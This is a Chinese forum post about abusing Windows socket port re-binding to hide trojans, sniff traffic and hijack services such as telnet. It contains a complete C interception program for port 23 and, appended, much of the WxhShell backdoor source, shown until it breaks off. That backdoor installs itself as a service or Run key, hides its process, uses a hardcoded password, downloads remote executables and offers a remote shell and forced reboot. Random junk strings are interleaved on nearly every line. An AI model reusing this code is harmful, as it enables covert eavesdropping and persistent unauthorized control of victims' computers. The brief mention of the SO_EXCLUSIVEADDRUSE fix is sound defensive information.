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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: A  r,fmq  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); omu )s '8  
x u<oQBt  
  saddr.sin_family = AF_INET; \0fS;Q^{j  
15J t @{<r  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); vCX 54  
0]k-0#JM  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); X:2)C-l?  
&9OnN<mT1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 jCp^CNbA  
;M<R e  
  这意味着什么?意味着可以进行如下的攻击: 3sD/4 ?  
y?P4EVknM3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >S}^0vNZX  
+d!"Zy2|B  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <rI8O;\H  
C.`!?CW  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *N65B#  
r7FFZNs!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \DMZ M  
qbx}9pp}g  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _=Y HO.  
2'U+QK@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 wGLSei-s  
CbW>yr  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 uz;zmK  
}'u0Q6Obj  
  #include wNm1H[{  
  #include b=PB"-  
  #include 1ir~WFP  
  #include    +yd{-iH  
  DWORD WINAPI ClientThread(LPVOID lpParam);   B%(-UTQf  
  int main() | Kw}S/F  
  {  ]j:aO  
  WORD wVersionRequested;  Uys[0n  
  DWORD ret; ~5:-;ZbZ  
  WSADATA wsaData; 0zc~!r~  
  BOOL val; <wTD}.n  
  SOCKADDR_IN saddr; Ihy76_OZ  
  SOCKADDR_IN scaddr; \f4JIsZ-&  
  int err; 68QA%m'J  
  SOCKET s; I?OnEw  
  SOCKET sc; Y^2]*e%  
  int caddsize; (@i2a  
  HANDLE mt; ItxC}qT  
  DWORD tid;   tlyDXB~+  
  wVersionRequested = MAKEWORD( 2, 2 ); 7El:$H  
  err = WSAStartup( wVersionRequested, &wsaData ); v5A8"&Jr  
  if ( err != 0 ) { 7N8a48$8  
  printf("error!WSAStartup failed!\n"); IA~wmOF  
  return -1; tB#-}Gf  
  } d)1Pl3+  
  saddr.sin_family = AF_INET; jrN"en  
   Jty/gjK+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^kh@AgG^  
=z4kK_?F,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); p<8Ga.kiN  
  saddr.sin_port = htons(23); 3?r?)$Jk  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) snvixbN  
  { ~JX+4~qT  
  printf("error!socket failed!\n"); cz;gz4d8  
  return -1; wvz_)b N~A  
  } cr>"LAi  
  val = TRUE; a&C}' e"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?TMrnR/d  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Al^h^ 9tJ  
  { ->*'Y;t4  
  printf("error!setsockopt failed!\n"); vv^(c w>A  
  return -1; -_T@kg[0zB  
  } 4h$W4NJK  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; JXAH/N& i  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (( {4)5}  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 HwxME%w  
VQ/Jz5^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) LWIPq"  
  { `kM:5f+>W  
  ret=GetLastError(); |.{[%OJP  
  printf("error!bind failed!\n"); j6#RV@ p`  
  return -1; hM[QR'\QS  
  } Dl=qss~g+  
  listen(s,2); dS)c~:&+  
  while(1) K!qV82b='{  
  { !~QmY,R  
  caddsize = sizeof(scaddr); hx:"'m5  
  //接受连接请求 't#E-+o  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); k*k 9hv?  
  if(sc!=INVALID_SOCKET) |YWX.-aeo  
  { D)GD9MJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); s^>1rV]=(`  
  if(mt==NULL) vJfj1 f  
  { pa2cM%48  
  printf("Thread Creat Failed!\n"); 2>h.K/pC  
  break; n+H);Dg<8  
  } DcX,o*ec!  
  } |n*<H|  
  CloseHandle(mt); j7v?NY  
  } 97\9!)`,  
  closesocket(s); Hmv@7$9s\  
  WSACleanup(); b$/ 'dnx  
  return 0; <}t<A  
  }   gQlL0jAV  
  DWORD WINAPI ClientThread(LPVOID lpParam) "FH03 9  
  { >?)Df(n(9  
  SOCKET ss = (SOCKET)lpParam; jCxg)D7W  
  SOCKET sc; R^=[D#*]>  
  unsigned char buf[4096]; 1%k$9[!l%  
  SOCKADDR_IN saddr; kdp- |9  
  long num; (C60HbL  
  DWORD val; eG\`SKx_  
  DWORD ret; 9xM7X?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ctT6va  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   (@ixV$Y  
  saddr.sin_family = AF_INET; N3?@CM^hHw  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~[3B<^e  
  saddr.sin_port = htons(23); m\;@~o'k  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `uLH3sr  
  { Qv/Kbw N{  
  printf("error!socket failed!\n"); 6R';[um?q  
  return -1; nEbJ,#>Z  
  } \8iWcqJktN  
  val = 100; q&0I7OV  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r0fEW9wL  
  { <ecif_a=m  
  ret = GetLastError(); m j@{hGP  
  return -1; 1jkMje  
  } 0PT\/imgN  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _'"$,~ZWY  
  { tp?< e  
  ret = GetLastError(); ;nZN}&m   
  return -1; q8[I` V{  
  } (vb8Mk  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =x^b  
  { VtzX I2.2  
  printf("error!socket connect failed!\n"); 4pC.mRu 0  
  closesocket(sc); sJB::6+1(|  
  closesocket(ss); >uVr;,=y  
  return -1; 1Aw/-FxJ  
  } TYN~c(  
  while(1) jw$[b=sa  
  { w//L2.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1k?k{Ri  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 iES?}K/q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 iU9>qJ]  
  num = recv(ss,buf,4096,0); %VmHw~xyF:  
  if(num>0) 0 V3`rK  
  send(sc,buf,num,0); e QGhX(  
  else if(num==0) V]qv,>  
  break; 1GI/gc\  
  num = recv(sc,buf,4096,0); z[bS soK`  
  if(num>0) Qz9*o  
  send(ss,buf,num,0); fsH =2p  
  else if(num==0) aEwwK(ny  
  break; kCVA~ %d7  
  } <yz&> +9,  
  closesocket(ss); jk-e/C  
  closesocket(sc); CF_pIfbaf  
  return 0 ; 4;.y>~z  
  } OjRJyhzS*  
0tyS=X;#e  
OD`?BM  
========================================================== :qL1jnR^  
;8J+Q0V  
下边附上一个代码,,WXhSHELL +*vg) F:  
E|>oseR  
========================================================== xv:VW<  
V detY\  
#include "stdafx.h" WPu{ ]<pl  
y8|?J\eRy  
#include <stdio.h> KOHYeiry~A  
#include <string.h> U f <hzP  
#include <windows.h> {B,r  
#include <winsock2.h> ]v,>!~8r  
#include <winsvc.h> }vspjplk^  
#include <urlmon.h> %jnSJjcq  
*eb2()B%  
#pragma comment (lib, "Ws2_32.lib") [K4wd%+  
#pragma comment (lib, "urlmon.lib") afNqK~  
8dY Pn+`  
#define MAX_USER   100 // 最大客户端连接数 w\QMA3  
#define BUF_SOCK   200 // sock buffer l\%LT{$e  
#define KEY_BUFF   255 // 输入 buffer Vp~c$y+  
]F81N(@:F  
#define REBOOT     0   // 重启 $bd2TVNV:  
#define SHUTDOWN   1   // 关机 E3==gYCe*  
~qj09  
#define DEF_PORT   5000 // 监听端口 TqN4OkCm/  
Z<^TO1xs9B  
#define REG_LEN     16   // 注册表键长度 6 7{>x[  
#define SVC_LEN     80   // NT服务名长度 eg$y,Tx  
`7mRUDz  
// 从dll定义API k}h\RCy%f  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g&oAa;~o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;R x Rap  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r}]%(D](v  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "0edk"hk  
~.H*"  
// wxhshell配置信息 |A0)-sVZ  
struct WSCFG { 8BgHoQ*  
  int ws_port;         // 监听端口 oR_qAb  
  char ws_passstr[REG_LEN]; // 口令 1QPS=;|)  
  int ws_autoins;       // 安装标记, 1=yes 0=no #y:,owo3I  
  char ws_regname[REG_LEN]; // 注册表键名 m_pqU(sP  
  char ws_svcname[REG_LEN]; // 服务名 p3R: 3E6p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 svTKt%6X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dqu+-43I|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 * c1)x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y!C8@B$MR3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xG|T_|?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J jp)%c#_  
yv2N5IQ>{V  
}; ?cRGdLP'D  
ejjL>'G/|%  
// default Wxhshell configuration 1#m'u5L  
struct WSCFG wscfg={DEF_PORT, B=p6p f  
    "xuhuanlingzhe", q }'ww  
    1, mtunD;_Dek  
    "Wxhshell", 2MQ XtK  
    "Wxhshell", bxrT[]  
            "WxhShell Service", N(W;\>P  
    "Wrsky Windows CmdShell Service", `HO_t ek  
    "Please Input Your Password: ", <g4[p^A  
  1, _>k&M7OU4  
  "http://www.wrsky.com/wxhshell.exe", ?0%3~E`l:  
  "Wxhshell.exe" 1O{(9nNj  
    }; 8uZM%7kI6+  
fKYR DGn  
// 消息定义模块 4,)EG1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *`g'*R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {#o0vWS>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; b2<((H  
char *msg_ws_ext="\n\rExit."; P56B~M_  
char *msg_ws_end="\n\rQuit."; *@1(!A  
char *msg_ws_boot="\n\rReboot..."; V@C8HTg  
char *msg_ws_poff="\n\rShutdown..."; k/;%{@G)  
char *msg_ws_down="\n\rSave to "; 6J""gyK.  
tzn+ M0'  
char *msg_ws_err="\n\rErr!"; q<Sb>M/\,  
char *msg_ws_ok="\n\rOK!"; .4&pi  
^ b`wf"A  
char ExeFile[MAX_PATH]; %/:0x:ns  
int nUser = 0; }\$CU N  
HANDLE handles[MAX_USER]; BD.>aAi!  
int OsIsNt; b$W~w*O   
%&[=%zc  
SERVICE_STATUS       serviceStatus; _< LJQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tP0\;W  
E'ay @YAp  
// 函数声明 ;if PqL kO  
int Install(void); %UXmWXF4$  
int Uninstall(void); C^^AN~ZD  
int DownloadFile(char *sURL, SOCKET wsh); r\."=l  
int Boot(int flag); }gR!]Cs)^  
void HideProc(void); 618k-  
int GetOsVer(void); , R;k>'.  
int Wxhshell(SOCKET wsl); :Q-QY)hH  
void TalkWithClient(void *cs); ;b6h/*;'  
int CmdShell(SOCKET sock); ALY3en9,  
int StartFromService(void); 4A {6)<e  
int StartWxhshell(LPSTR lpCmdLine); q4y sTm  
o0}kRL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Qt+i0xd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KKcajN  
\M U-D,@  
// 数据结构和表定义 9 7Ua,  
SERVICE_TABLE_ENTRY DispatchTable[] = #M5pQ&yZy  
{ kIwq%c;  
{wscfg.ws_svcname, NTServiceMain}, W Yo>Md 8  
{NULL, NULL} RE%25t|  
}; ;Zt N9l  
fG_<HJS(~  
// 自我安装 4Wk`P]?^  
int Install(void) #9e2+5s  
{ /:.p{y  
  char svExeFile[MAX_PATH]; r"&uW !~0  
  HKEY key; qvC2BQ  
  strcpy(svExeFile,ExeFile); #6F|}E  
8c3/n   
// 如果是win9x系统,修改注册表设为自启动 h2P&<ggqX  
if(!OsIsNt) { o5;|14O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O/b1^ Y   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {TVQ]G%'b  
  RegCloseKey(key); Memb`3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \f-@L;8#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <Eu/f`8  
  RegCloseKey(key); uGU-MC *  
  return 0; >v'@p  
    } j^)=<+Q;=  
  } %$6?em_  
} u/.# zn@9h  
else { EL^j}P  
Ov~vK\  
// 如果是NT以上系统,安装为系统服务 "UUoT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &ev#C%Nu  
if (schSCManager!=0) CsX@u#  
{ ^OrO&w|  
  SC_HANDLE schService = CreateService l[Ko>  
  ( u$rSM0CJ  
  schSCManager, %{B4M#~  
  wscfg.ws_svcname, >uP1k.z'I  
  wscfg.ws_svcdisp, 7TB&Q*Zf  
  SERVICE_ALL_ACCESS, cMoBYk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sUk&NM%>  
  SERVICE_AUTO_START, = J0r,dR  
  SERVICE_ERROR_NORMAL, 2= )V"lR\  
  svExeFile, ?Ll1B3f  
  NULL, 95.s,'0  
  NULL, hH]oJ}H \  
  NULL, t;b1<TLn0  
  NULL, 5;CqGzgoP  
  NULL >>T,M@s-:  
  ); #Fckev4  
  if (schService!=0) B,4 3b O  
  { jP31K{G?  
  CloseServiceHandle(schService); MZ:Ty,pw:O  
  CloseServiceHandle(schSCManager); lGXr-K?+Y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lFV\Go  
  strcat(svExeFile,wscfg.ws_svcname); Sd *7jW?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *(o^w'5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^%t{:\  
  RegCloseKey(key); p?' F$Wz  
  return 0; Exz(t'  
    } gg&Dej2{  
  } IXU~& 5&J  
  CloseServiceHandle(schSCManager); iUq{c+h  
} 50^CILKo7  
} 6Tg'9|g  
F$HL \y  
return 1; GXwQ )P5]  
} 98Im/v  
b8h6fB:2  
// 自我卸载 iUk#0 I  
int Uninstall(void) "Xj>dB1~  
{ J@RV^2  
  HKEY key; ?MD\\gN  
uWkuw5;  
if(!OsIsNt) { "9OOyeKu%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v03 ^  
  RegDeleteValue(key,wscfg.ws_regname); ar:qCq$\  
  RegCloseKey(key); =`t%p1   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \ocC'FmE  
  RegDeleteValue(key,wscfg.ws_regname); lTJM}K  
  RegCloseKey(key); r?R!/`f  
  return 0; n:[LsbTk  
  } rp!>rM] s  
} V&R_A~<T  
} fvM|Jb  
else { 4~e6z(  
gx=2]~O1(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,a\pdEPj  
if (schSCManager!=0) ee*E:Ltz\  
{ k-8$ 43  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); WO+_ |*&  
  if (schService!=0) 4p]hY!7  
  { x<>In"QV  
  if(DeleteService(schService)!=0) { /S`d?AV  
  CloseServiceHandle(schService); e[%g'}D:-  
  CloseServiceHandle(schSCManager); Ew2ksZ>B]&  
  return 0; J72 YZrc  
  } o%l|16DR  
  CloseServiceHandle(schService); }>?"bcJ  
  } k2DBm q;  
  CloseServiceHandle(schSCManager); |\/V1  
} !z_VwZ#,  
} PHqIfH [  
J-Wphc!m  
return 1; 3ms{gZbw  
} AjMx\'(C  
S*a_  
// 从指定url下载文件 IfpFsq:  
int DownloadFile(char *sURL, SOCKET wsh) K Z Q `  
{ ?OdJ t  
  HRESULT hr; "kkZK=}Nv  
char seps[]= "/"; qW t 9Tr  
char *token; Jtl[9qe#]  
char *file; so }Kb3n  
char myURL[MAX_PATH]; LYp=o8JW|  
char myFILE[MAX_PATH]; "hXB_73)V  
]`}R,'P  
strcpy(myURL,sURL); WHv xBd  
  token=strtok(myURL,seps); e]u3[ao  
  while(token!=NULL) QVQ?a&HYS  
  { q /^&si  
    file=token; 28d=-s=[  
  token=strtok(NULL,seps); aDE)Nf}  
  } `"<tk1Kq"  
P:2 0i*QU  
GetCurrentDirectory(MAX_PATH,myFILE); ewv[nJD$  
strcat(myFILE, "\\"); 5E}~iC&  
strcat(myFILE, file); a*nx2d  
  send(wsh,myFILE,strlen(myFILE),0); 2z[A&s_  
send(wsh,"...",3,0); r$z0C&5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9`v[Jm% $m  
  if(hr==S_OK) ~U_,z)<`)c  
return 0; Qh@A7N/L  
else e X q}0-*f  
return 1; kV3Zt@+  
/WE1afe_R  
} l} UOg   
K;#9: Z^+  
// 系统电源模块 $_NP4V8|z/  
int Boot(int flag) .+Fh,bNYK  
{ mLL?n)   
  HANDLE hToken; +)l6%QKcW  
  TOKEN_PRIVILEGES tkp; oN " /w~  
tQrkRg(E:  
  if(OsIsNt) { m\?H < o0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i-_ * 5%A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l*z.20^P  
    tkp.PrivilegeCount = 1; 7!-y72qx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 63n<4VSH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Vpsv@\@J>  
if(flag==REBOOT) { -% Z?rn2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8m;tgMFO  
  return 0; kZ3w2=x3v  
} q+Cq&|4 ?2  
else { o$_,2$>mn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L.) 0!1  
  return 0; +$H`/^a.  
} J)leRR&  
  } ',P E25Z  
  else { &?gvW//L2  
if(flag==REBOOT) { 7;;HP`vY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {@w!kl~8  
  return 0; G@Y!*ZH*f  
} _}(ej&'f  
else { ^E(:nxQ6s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  dr iw\  
  return 0; P85@G 2  
} BNe6q[ )W~  
} {*J{1)2  
X,"(G}KUA  
return 1; mIX[HDy:V$  
} Xv'5%o^i*  
*eonXJYD  
// win9x进程隐藏模块 Juqe%he`  
void HideProc(void) 8Cw+<A*  
{ U%nLo[k  
u+Q<> >lU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6@[7  
  if ( hKernel != NULL ) b qNM  
  { ;5 JzrbtL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7r4|>F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  YXr"  
    FreeLibrary(hKernel); nVt,= ?_ U  
  } U4*Q;A#  
^*=.Vuqy  
return; 08TeGUjJ  
} yMoV|U6  
s35`{PR  
// 获取操作系统版本 OW|5IEC  
int GetOsVer(void) da/Tms`T  
{ yhpeP  
  OSVERSIONINFO winfo; p\ }Ep  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); at-+%e  
  GetVersionEx(&winfo); z[`O YwsW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -]K9sy)I  
  return 1; FELDz7DYya  
  else 3</gK$f2  
  return 0; H${5pY_M  
} Ghb Jty`  
J>XMaI})U  
// 客户端句柄模块 d^sm;f  
int Wxhshell(SOCKET wsl) P@wuk1  
{ 6,q}1-  
  SOCKET wsh; 6*\WH%  
  struct sockaddr_in client; 5m]N%{<jAB  
  DWORD myID; iir]M`A.-  
<_N<L\  
  while(nUser<MAX_USER) tr t^o  
{ e 1$<,.>  
  int nSize=sizeof(client); 0;V "64U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); / !@@  
  if(wsh==INVALID_SOCKET) return 1; 9$[PA jwk  
NM{/rvM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); iUua!uC  
if(handles[nUser]==0) t0*,%ge:<  
  closesocket(wsh); Oe["4C  
else Fb0r(vQ^  
  nUser++; zG. \xmp  
  } vk&6L%_~a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^I CSs]}1  
+'VSD`BR  
  return 0; Ey#7L M)  
} !\ 6<kQg#  
f"}g5eg+  
// 关闭 socket ac%6eW0#  
void CloseIt(SOCKET wsh) 7B)m/%>3s  
{ ~]_U!r[FA  
closesocket(wsh); Ump$N#  
nUser--; gZHuyp(B  
ExitThread(0); %Y:"5fH  
} QK`5KB(k'  
Y*Ra!]62  
// 客户端请求句柄 p"UdD  
void TalkWithClient(void *cs) L<62-+e`  
{ o<8('j   
lPaTkZw  
  SOCKET wsh=(SOCKET)cs; ;[-TsX:  
  char pwd[SVC_LEN]; HPz3"3n!  
  char cmd[KEY_BUFF]; :yi?<  
char chr[1]; 9-3, DxZ}  
int i,j; . \t8s0A  
!K[UJQ s\  
  while (nUser < MAX_USER) { fFYfb4o  
[  ^S(SPL  
if(wscfg.ws_passstr) { :2zga=)g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BH"OphE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h%%ryQQ&<  
  //ZeroMemory(pwd,KEY_BUFF); @/,:". SM  
      i=0; ouE/\4'NB  
  while(i<SVC_LEN) { wr-/R"fX  
uSgR|b;R]  
  // 设置超时 YstR T1  
  fd_set FdRead; (xdC'@&  
  struct timeval TimeOut; JuKG#F#,  
  FD_ZERO(&FdRead); |W#(+m  
  FD_SET(wsh,&FdRead); 6Lc{SR  
  TimeOut.tv_sec=8; yt@7l]I  
  TimeOut.tv_usec=0; cTJi8f=g  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -k8<LR3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0Fw4}f.o  
DEw>f%&4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T@%\?=P  
  pwd=chr[0]; ?yc{@|  
  if(chr[0]==0xd || chr[0]==0xa) { v6M4KC2?  
  pwd=0; y<g1q"F  
  break; MO>9A,&f  
  } ?:$\ t?e^  
  i++; , UsY0YC  
    } i$5<>\g  
OU esL9  
  // 如果是非法用户,关闭 socket { MV,>T_  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?Qxf~,F  
} KcvstC`  
l+A)MJd oj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;l %$-/%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?Gl]O3@3  
"qrde4O  
while(1) { S"4eS,5L|  
g7" 2}|qxo  
  ZeroMemory(cmd,KEY_BUFF); (QTF+~)  
x:K~?c3  
      // 自动支持客户端 telnet标准   :N^+!,i  
  j=0; z ub"Ap3  
  while(j<KEY_BUFF) { 6Hp+?mmh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >t_h/:JZ)  
  cmd[j]=chr[0]; "2~L  
  if(chr[0]==0xa || chr[0]==0xd) { oo\7\b#Jx  
  cmd[j]=0; $<QrV,T  
  break; d%za6=M  
  } bFIM07  
  j++; 9 {wRqY  
    } Fq$r>tmV  
R4y]<8}  
  // 下载文件 M$48}q+  
  if(strstr(cmd,"http://")) { ZZn$N-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r3B}d*v  
  if(DownloadFile(cmd,wsh)) ]9N&I/-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mbp7%^E"A  
  else bp!Jjct  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vw|P;LLl`  
  } M#_|WL~  
  else { `Gj(>z*  
dEZUK vo  
    switch(cmd[0]) { lrAhdi  
  -VeC X]  
  // 帮助 xg}Q~,:  
  case '?': { bksv2@ar  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *`q?`#1&&.  
    break; ", p5}}/  
  } Z]e`bfNnI  
  // 安装 +Bf?35LP  
  case 'i': { s&hr$`V4  
    if(Install()) lA pZC6Iwk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P8(hHuO  
    else ^Z-oO#)h#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =EYWiK77a  
    break; z2>LjM) #  
    } ;I&XG  
  // 卸载 6O <UW.  
  case 'r': { D4b-Y[/"  
    if(Uninstall()) VV{>Kq+&,v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aeISb83Y|  
    else }v's>Ae~p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Rt6)hgY  
    break; 1uO2I&B  
    } #R>x]Nt}  
  // 显示 wxhshell 所在路径 R_O=WmD  
  case 'p': { jsQHg2Vd  
    char svExeFile[MAX_PATH]; z %Bzf~N9  
    strcpy(svExeFile,"\n\r"); @c-  
      strcat(svExeFile,ExeFile); =W &Mt  
        send(wsh,svExeFile,strlen(svExeFile),0); V2!0),]B  
    break; !~&& &85  
    } xeL"FzF:V  
  // 重启 S=0DQ19  
  case 'b': { *s,[Uy![  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lLp,sNAj  
    if(Boot(REBOOT)) ?G5,}%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?!K6")SE  
    else { 9b&|'BBW  
    closesocket(wsh); P}]o$nWT  
    ExitThread(0); xbBqR _ H_  
    } cGiL9|k  
    break; *f3StX  
    } 6Cz O ztn  
  // 关机 qVKdc*R-  
  case 'd': { o K>(yC[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CxTmW5l  
